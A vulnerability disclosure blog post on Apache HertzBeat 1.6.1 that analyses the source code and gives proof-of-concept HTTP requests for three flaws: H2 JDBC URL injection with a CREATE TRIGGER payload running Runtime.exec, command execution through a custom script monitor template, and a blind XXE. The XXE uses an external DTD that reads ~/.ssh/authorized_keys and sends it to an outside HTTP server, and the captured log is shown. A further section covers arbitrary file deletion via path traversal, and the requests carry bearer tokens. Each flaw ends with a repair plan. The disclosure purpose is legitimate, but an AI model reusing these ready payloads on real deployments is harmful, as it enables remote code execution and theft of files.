hertzbeat -1.6.1 rce

found by:unam4 and SpringKill

Could you please assign three CVEs to these three vulnerabilities? This is very important to our security research team. Thank you.

Vulnerability description

​ Hello, I am uname and springkill. We found three vulnerabilities in hertzbeat 1.6.1: jdbc attack, command execution, and xxe vulnerability.

​ The specific analysis process and POC verification will be described in detail below.

0x01 h2jdbcattack

analyze

org.apache.hertzbeat.collector.collect.database.JdbcCommonCollect#collect

1
2
3
4
5
6
7
8
9
10
public void collect(CollectRep.MetricsData.Builder builder, long monitorId, String app, Metrics metrics) {
long startTime = System.currentTimeMillis();
JdbcProtocol jdbcProtocol = metrics.getJdbc();
String databaseUrl = constructDatabaseUrl(jdbcProtocol);
int timeout = CollectUtil.getTimeout(jdbcProtocol.getTimeout());
Statement statement = null;
try {
statement = getConnection(jdbcProtocol.getUsername(),
jdbcProtocol.getPassword(), databaseUrl, timeout);
...

First, get the JdbcProtocol object from metrics.getJdbc(), then call constructDatabaseUrl for processing, and finally call getConnection to connect.

org.apache.hertzbeat.collector.collect.database.JdbcCommonCollect#constructDatabaseUrl

1
2
3
4
5
6
7
8
private String constructDatabaseUrl(JdbcProtocol jdbcProtocol) {
if (Objects.nonNull(jdbcProtocol.getUrl())
&& !Objects.equals("", jdbcProtocol.getUrl())
&& jdbcProtocol.getUrl().startsWith("jdbc")) {
// when has config jdbc url, use it
return jdbcProtocol.getUrl();
}
......

The constructDatabaseUrl function will check if JdbcProtocol is empty, and then check if it starts with “jdbc”. If it meets the conditions, it will return the jdbc string directly.

org.apache.hertzbeat.collector.collect.database.JdbcCommonCollect#getConnection

1
2
3
4
5
6
7
8
9
10
11
12
private Statement getConnection(String username, String password, String url, Integer timeout) throws Exception {
CacheIdentifier identifier = CacheIdentifier.builder()
.ip(url)
.username(username).password(password).build();
Optional<JdbcConnect> cacheOption = connectionCommonCache.getCache(identifier, true);
Statement statement = null;
......
// renew connection when failed
Connection connection = DriverManager.getConnection(url, username, password);
connection.setReadOnly(true);
statement = connection.createStatement();
....

There is no verification of jdbc characters in the getConnection function. We use the h2 database to construct malicious jdbc characters for attack.

Reproduction

Select a database monitor at random, fill in the information, and click Test

/monitors/new?app=mysql

1
2
3
4
5
6
7
8
9
POST /api/monitor/detect HTTP/1.1
Host: ip:1157
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Authorization: your jwt
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 694

{"detected":true,"monitor":{"intervals":60,"tags":[],"app":"mysql","host":"127.0.0.1","name":"exp"},"collector":"","params":[{"display":true,"field":"host","type":1,"paramValue":"127.0.0.1"},{"display":true,"field":"port","type":0,"paramValue":3306},{"display":true,"field":"database","type":1},{"display":true,"field":"username","type":1},{"display":true,"field":"password","type":1},{"display":true,"field":"timeout","type":0,"paramValue":6000},{"display":true,"field":"url","type":1,"paramValue":"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$"}]}

Then intercept the data packet and replace the paramValue field with the malicious jdbc connection. After sending, the calculator pops up.

Any command can be replaced in the exec field。

Repair plan

When performing jdbc operations, verification is performed, especially for the h2 database. When the jdbc contains the characters CREATE TRIGGER, CREATE ALIAS, and RUNSCRIPT FROM, an error is reported.

0x02 ScriptCollectImpl Command execution vulnerability

analyze

org.apache.hertzbeat.collector.collect.script.ScriptCollectImpl#collect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void collect(CollectRep.MetricsData.Builder builder, long monitorId, String app, Metrics metrics) {
ScriptProtocol scriptProtocol = metrics.getScript();
long startTime = System.currentTimeMillis();
ProcessBuilder processBuilder;
// use command
if (StringUtils.hasText(scriptProtocol.getScriptCommand())) {
switch (scriptProtocol.getScriptTool()) {
case BASH -> processBuilder = new ProcessBuilder(BASH, BASH_C, scriptProtocol.getScriptCommand().trim());
case CMD -> processBuilder = new ProcessBuilder(CMD, CMD_C, scriptProtocol.getScriptCommand().trim());
case POWERSHELL -> processBuilder = new ProcessBuilder("powershell.exe", POWERSHELL_C, scriptProtocol.getScriptCommand().trim());
default -> {
builder.setCode(CollectRep.Code.FAIL);
builder.setMsg("Not support script tool:" + scriptProtocol.getScriptTool());
return;
}
}

scriptProtocol.getScriptCommand() can get the command directly from the Protocol without any processing, which is controllable by us, and then call ProcessBuilder for splicing and execution, which is extremely harmful。

Reproduction

Here we now construct a template and then call it in the monitoring function

/setting/define

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

# The monitoring type category:service-application service monitoring db-database monitoring custom-custom monitoring os-operating system monitoring
category: os
# The monitoring type eg: linux windows tomcat mysql aws...
app: exp
# The monitoring i18n name
name:
zh-CN: exp
en-US: exp
# The description and help of this monitoring type
help:
zh-CN: Hertzbeat 使用采集器作为 agent 直接运行 <a class='help_module_content' href='https://hertzbeat.apache.org/docs/advanced/extend-script'> Shell 命令 </a> 对 Linux 操作系统的通用性能指标 (系统信息、CPU、内存、磁盘、网卡、文件系统、TOP资源进程等) 进行采集监控。<br>您可以点击“<i>新建 Linux Script</i>”进行添加。或者选择“<i>更多操作</i>”,导入已有配置。
en-US: Hertzbeat uses a collector as an agent to directly execute <a class='help_module_content' href='https://hertzbeat.apache.org/docs/advanced/extend-script'> Shell commands </a> to collect and monitor general performance metrics of the Linux operating system (system information, CPU, memory, disk, network card, file system, TOP resource processes, etc.).<br>You can click “<i>Create New Linux Script</i>” to add it. Or select “<i>More Actions</i>” to import an existing configuration.
zh-TW: Hertzbeat 使用采集器作為 agent 直接運行 <a class='help_module_content' href='https://hertzbeat.apache.org/docs/advanced/extend-script'> Shell 命令 </a> 對 Linux 操作系統的通用性能指標 (系統信息、CPU、內存、磁盤、網卡、文件系統、TOP資源進程等) 進行採集監控。<br>您可以點擊“<i>新建 Linux Script</i>”進行添加。或者選擇“<i>更多操作</i>”,導入已有配置。
helpLink:
zh-CN: https://hertzbeat.apache.org/zh-cn/docs/help/linux_script
en-US: https://hertzbeat.apache.org/docs/help/linux_script
# Input params define for monitoring(render web ui by the definition)
params:
# field-param field key
- field: host
# name-param field display i18n name
name:
zh-CN: 目标Host
en-US: Target Host
# type-param field type(most mapping the html input type)
type: host
# required-true or false
required: true
# collect metrics config list
metrics:
# metrics - basic, inner monitoring metrics (responseTime - response time)
- name: basic
i18n:
zh-CN: 系统基本信息
en-US: Basic Info
# metrics scheduling priority(0->127)->(high->low), metrics with the same priority will be scheduled in parallel
# priority 0's metrics is availability metrics, it will be scheduled first, only availability metrics collect success will the scheduling continue
priority: 0
# collect metrics content
fields:
# field-metric name, type-metric type(0-number,1-string), unit-metric unit('%','ms','MB'), label-whether it is a metrics label field
- field: hostname
type: 1
label: true
i18n:
zh-CN: 主机名称
en-US: Host Name
- field: version
type: 1
i18n:
zh-CN: 操作系统版本
en-US: System Version
- field: uptime
type: 1
i18n:
zh-CN: 启动时间
en-US: Uptime
# the protocol used for monitoring, eg: sql, ssh, http, telnet, wmi, snmp, sdk
protocol: script
# the config content when protocol is ssh
script:
# script tool
scriptTool: bash
# OS charset
charset: UTF-8
# script working directory
workDirectory: /usr/bin
# collect script
scriptCommand: open -a calculator
# response data parse type: oneRow, multiRow
parseType: multiRow


Use the above configuration, or the corresponding data packet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PUT /api/apps/define/yml HTTP/1.1
Host: 127.0.0.1:1157
Content-Type: application/json
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
sec-ch-ua-mobile: ?0
Referer: http://127.0.0.1:1157/setting/define?app=exp
Cookie: _ga=GA1.1.419040349.1732882666; _ga_13PPZZ7P4Y=GS1.1.1732903198.5.1.1732903602.0.0.0
sec-ch-ua-platform: "macOS"
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br, zstd
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInppcCI6IkRFRiJ9.eJw1jN0KAiEQRt9lrldwp1XRV4kulB3JftyY0Qiid8-Fujzn-zhvuLQCARafbFwwKpcMqgWTV967qNDktKKnrC3CBNLTOMf1XuqgIjJIOlMlEdW2K1UlxE_ifY0NwuwO6DVqM09Ar8dfGLsLpswkZwiNOw3cbjSCx1__9PkC5FIuaA.f3k5XDcgI-LB0tXU1jcWc1RWtI5G8dgra_CiYa8pYplubvjEdzHLHf7Qb3vkDDAbOTse4QiuPT9KIJZ3nw-TdQ
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:1157
Content-Length: 4594

{"define":"# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# The monitoring type category:service-application service monitoring db-database monitoring custom-custom monitoring os-operating system monitoring\ncategory: os\n# The monitoring type eg: linux windows tomcat mysql aws...\napp: exp\n# The monitoring i18n name\nname:\n zh-CN: exp\n en-US: exp\n# The description and help of this monitoring type\nhelp:\n zh-CN: Hertzbeat 使用采集器作为 agent 直接运行 <a class='help_module_content' href='https://hertzbeat.apache.org/docs/advanced/extend-script'> Shell 命令 </a> 对 Linux 操作系统的通用性能指标 (系统信息、CPU、内存、磁盘、网卡、文件系统、TOP资源进程等) 进行采集监控。<br>您可以点击“<i>新建 Linux Script</i>”进行添加。或者选择“<i>更多操作</i>”,导入已有配置。\n en-US: Hertzbeat uses a collector as an agent to directly execute <a class='help_module_content' href='https://hertzbeat.apache.org/docs/advanced/extend-script'> Shell commands </a> to collect and monitor general performance metrics of the Linux operating system (system information, CPU, memory, disk, network card, file system, TOP resource processes, etc.).<br>You can click “<i>Create New Linux Script</i>” to add it. Or select “<i>More Actions</i>” to import an existing configuration.\n zh-TW: Hertzbeat 使用采集器作為 agent 直接運行 <a class='help_module_content' href='https://hertzbeat.apache.org/docs/advanced/extend-script'> Shell 命令 </a> 對 Linux 操作系統的通用性能指標 (系統信息、CPU、內存、磁盤、網卡、文件系統、TOP資源進程等) 進行採集監控。<br>您可以點擊“<i>新建 Linux Script</i>”進行添加。或者選擇“<i>更多操作</i>”,導入已有配置。\nhelpLink:\n zh-CN: https://hertzbeat.apache.org/zh-cn/docs/help/linux_script\n en-US: https://hertzbeat.apache.org/docs/help/linux_script\n# Input params define for monitoring(render web ui by the definition)\nparams:\n # field-param field key\n - field: host\n # name-param field display i18n name\n name:\n zh-CN: 目标Host\n en-US: Target Host\n # type-param field type(most mapping the html input type)\n type: host\n # required-true or false\n required: true\n# collect metrics config list\nmetrics:\n # metrics - basic, inner monitoring metrics (responseTime - response time)\n - name: basic\n i18n:\n zh-CN: 系统基本信息\n en-US: Basic Info\n # metrics scheduling priority(0->127)->(high->low), metrics with the same priority will be scheduled in parallel\n # priority 0's metrics is availability metrics, it will be scheduled first, only availability metrics collect success will the scheduling continue\n priority: 0\n # collect metrics content\n fields:\n # field-metric name, type-metric type(0-number,1-string), unit-metric unit('%','ms','MB'), label-whether it is a metrics label field\n - field: hostname\n type: 1\n label: true\n i18n:\n zh-CN: 主机名称\n en-US: Host Name\n - field: version\n type: 1\n i18n:\n zh-CN: 操作系统版本\n en-US: System Version\n - field: uptime\n type: 1\n i18n:\n zh-CN: 启动时间\n en-US: Uptime\n # the protocol used for monitoring, eg: sql, ssh, http, telnet, wmi, snmp, sdk\n protocol: script\n # the config content when protocol is ssh\n script:\n # script tool\n scriptTool: bash\n # OS charset\n charset: UTF-8\n # script working directory\n workDirectory: /usr/bin\n # collect script\n scriptCommand: open -a calculator \n # response data parse type: oneRow, multiRow\n parseType: multiRow\n\n "}

/monitors/new?app=exp

Then bind this template

Fill in the corresponding parameters and click Test, and the computer pops up.

Corresponding data packet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /api/monitor/detect HTTP/1.1
Host: 127.0.0.1:1157
sec-ch-ua-platform: "macOS"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Cookie: _ga=GA1.1.419040349.1732882666; _ga_13PPZZ7P4Y=GS1.1.1732884546.2.1.1732888303.0.0.0
Referer: http://127.0.0.1:1157/monitors/new?app=exp
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br, zstd
Origin: http://127.0.0.1:1157
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Fetch-Site: same-origin
Content-Type: application/json
Accept-Language: zh-CN
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInppcCI6IkRFRiJ9.eJwtjEkKwzAQBP8yZw9osazlK8EH2ZkQZZGDRgqBkL9HBh-ruqkv3GqCAFbLVVE06I0TOC5aoItC42Q7SzMpG1cYgNvSz_H8TLlTYu7ErVAmZqzbnTIylTeVfY0VgrRaOeeddQPQ53UIr8ddFLoU4iuEWhp13B7Ug6ejP__-hUYtxA.O2nZ8xl7hW-tFOsdGH-z9YvD07q0W4rmoY9XvaksJjY42KiGtP9ogivIvSeFUZ0Hag0LsdKeOYBWG1ZDMceh3Q
sec-ch-ua-mobile: ?0
Content-Length: 190

{"detected":true,"monitor":{"intervals":60,"tags":[],"app":"exp","host":"127.0.0.1","name":"exp"},"collector":"","params":[{"display":true,"field":"host","type":1,"paramValue":"127.0.0.1"}]}

Repair plan

scriptProtocol.getScriptCommand() After getting the command, filter dangerous commands or enable whitelist。

0x03 xxe

analyze

org.apache.hertzbeat.collector.collect.http.HttpCollectImpl#collect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public void collect(CollectRep.MetricsData.Builder builder,
long monitorId, String app, Metrics metrics) {
long startTime = System.currentTimeMillis();

HttpProtocol httpProtocol = metrics.getHttp();
String url = httpProtocol.getUrl();
if (!StringUtils.hasText(url) || !url.startsWith(RIGHT_DASH)) {
httpProtocol.setUrl(StringUtils.hasText(url) ? RIGHT_DASH + url.trim() : RIGHT_DASH);
}
if (CollectionUtils.isEmpty(httpProtocol.getSuccessCodes())) {
httpProtocol.setSuccessCodes(List.of(HttpStatus.SC_OK + ""));
}

HttpContext httpContext = createHttpContext(metrics.getHttp());
HttpUriRequest request = createHttpRequest(metrics.getHttp());
.....
String parseType = metrics.getHttp().getParseType();
try {
switch (parseType) {
case DispatchConstants.PARSE_JSON_PATH ->
......
case DispatchConstants.PARSE_SITE_MAP ->
parseResponseBySiteMap(resp, metrics.getAliasFields(), builder);
default ->
.....
}

You can see that it will get ParseType from getParseType, and then select the corresponding implementation according to getParseType. Here we choose PARSE_SITE_MAP and continue to update parseResponseBySiteMap。

org.apache.hertzbeat.collector.collect.http.HttpCollectImpl#parseResponseBySiteMap

1
2
3
4
5
6
7
8
9
private void parseResponseBySiteMap(String resp, List<String> aliasFields,
CollectRep.MetricsData.Builder builder) {
List<String> siteUrls = new LinkedList<>();
boolean isXmlFormat = true;
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document document = db.parse(new ByteArrayInputStream(resp.getBytes(StandardCharsets.UTF_8)));
NodeList urlList = document.getElementsByTagName("url");

It can be seen that it reads the return stream of the data packet from resp and then performs XML parsing. Here, ocumentBuilderFactory.newInstance() is used without filtering, which can lead to xxe vulnerability.

Reproduction

This function point has no echo, so use oob out-of-band, prepare xmlpoc.xml, ext.dtd, and then use python to start an http service on port 8080.

xmlpoc.xml

1
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://10.0.0.67:8080/ext.dtd">%aaa;%ccc;%ddd;]>

ext.dtd

1
<!ENTITY % bbb SYSTEM "file:///Users/snake/.ssh/authorized_keys"><!ENTITY % ccc "<!ENTITY &#37; ddd SYSTEM 'http://10.0.0.67:8080/?a=%bbb;'>">

The front-end interface corresponding to PARSE_SITE_MAP is monitors/new?app=fullsite

Corresponding data packets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /api/monitor/detect HTTP/1.1
Host: 127.0.0.1:1157
Accept: application/json, text/plain, */*
sec-ch-ua-mobile: ?0
Cookie: _ga=GA1.1.419040349.1732882666; _ga_13PPZZ7P4Y=GS1.1.1732897322.4.1.1732899096.0.0.0
sec-ch-ua-platform: "macOS"
Sec-Fetch-Mode: cors
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
Content-Type: application/json
Accept-Encoding: gzip, deflate, br, zstd
Referer: http://127.0.0.1:1157/monitors/new?app=fullsite
Authorization: your jwt
Origin: http://127.0.0.1:1157
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Fetch-Dest: empty
Content-Length: 398

{"detected":true,"monitor":{"intervals":60,"tags":[],"app":"fullsite","host":"ip","name":"xmlexp"},"collector":"","params":[{"display":true,"field":"host","type":1,"paramValue":"10.0.0.67"},{"display":true,"field":"port","type":0,"paramValue":8088},{"display":true,"field":"sitemap","type":1,"paramValue":"/xmlpoc.xml"},{"display":true,"field":"ssl","type":1,"paramValue":false}]}

Fill in the corresponding host, task name, port, site map, and click the test link,Get ssh content

1
2
10.0.0.67 - - [30/Nov/2024 01:28:55] "GET /ext.dtd HTTP/1.1" 200 -
10.0.0.67 - - [30/Nov/2024 01:28:55] "GET /?a=ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQDiNXJ8YwRx/qzIptHkokQc1Pne19aRLx5CXBXyEyucMUgo2S5L9fNjn63cwFHQdhjie/yQnYH21VtthndvcXH8lt+BzYf/jTP4EM5wInA/gcP9/xkA+BpjFvrwDeI2U/Oy2tXjXUXgvVyayej5F/E7yt8pTXxbFKmATeK7eed8YCzEH9KLT6d8bNPmaqfnts5v8a2qMvsoOvOX+ikMu9W/k/6fwpZHUtwRdq9JQQu8c7d9RQGLp5W/mXaDbf02Acx5j9W8GVaecIsW9J1R0xQ/eArmigroX5RX/XoIWCnj42wA9MsGOnbPwfiaazUmPALCAGUaoQyFThmsYgAmPafb3noDQFKOje3PkkfpouK2UUfrARlR2lS39LrmNfYZwAge9XjvX8EHkeGkvrwKhZ4yXglcQfhxs1xTWw82qJq7dhmEiwQsP2kHfZCxFhfM+3yt4haoUqxvCzpgyhSlvY4kZa4EzOfEJHPGtLqpl9q1dZHtzdihbkacLA1pymazyOU=%20snake@snakedeMac-mini HTTP/1.1" 200 -

Repair plan

1
2
3
4
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

任意文件删除

org.apache.hertzbeat.manager.service.impl.PluginServiceImpl#savePlugin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public void savePlugin(PluginUpload pluginUpload) {
String jarPath = new File(this.getClass().getProtectionDomain().getCodeSource().getLocation().getPath()).getAbsolutePath();
Path extLibPath = Paths.get(new File(jarPath).getParent(), "plugin-lib");
File extLibDir = extLibPath.toFile();

String fileName = pluginUpload.getJarFile().getOriginalFilename();
if (fileName == null) {
throw new CommonException("Failed to upload plugin");
}
fileName = UUID.randomUUID().toString().replace("-", "") + "_" + fileName;
File destFile = new File(extLibDir, fileName);
FileUtils.createParentDirectories(destFile);
pluginUpload.getJarFile().transferTo(destFile);
List<PluginItem> pluginItems;
PluginMetadata pluginMetadata;
try {
PluginMetadata parsed = validateJarFile(destFile);
pluginItems = parsed.getItems();
pluginMetadata = PluginMetadata.builder()
.name(pluginUpload.getName())
.enableStatus(true)
.paramCount(parsed.getParamCount())
.items(pluginItems).jarFilePath(destFile.getAbsolutePath())
.gmtCreate(LocalDateTime.now())
.build();
validateMetadata(pluginMetadata);
} catch (Exception e) {
// verification failed, delete file
FileUtils.delete(destFile);
throw e;
}
// save plugin metadata
metadataDao.save(pluginMetadata);
itemDao.saveAll(pluginItems);
// load jar to classloader
loadJarToClassLoader();
// sync enabled status
syncPluginStatus();
}
1
2
3
4
5
6
7
8
String fileName = pluginUpload.getJarFile().getOriginalFilename();
if (fileName == null) {
throw new CommonException("Failed to upload plugin");
}
fileName = UUID.randomUUID().toString().replace("-", "") + "_" + fileName;
File destFile = new File(extLibDir, fileName);
。。。
FileUtils.delete(destFile);

控上传的文件名(/../../../../../*),然后让流报错,进入Exception,触发FileUtils.delete(destFile);

修复

​ 对getOriginalFilename进行验证。


hertzbeat -1.6.1 rce
https://unam4.github.io/2025/12/01/hertzbeat-1-6-1-rce/
作者
unam4
发布于
2025年12月1日
许可协议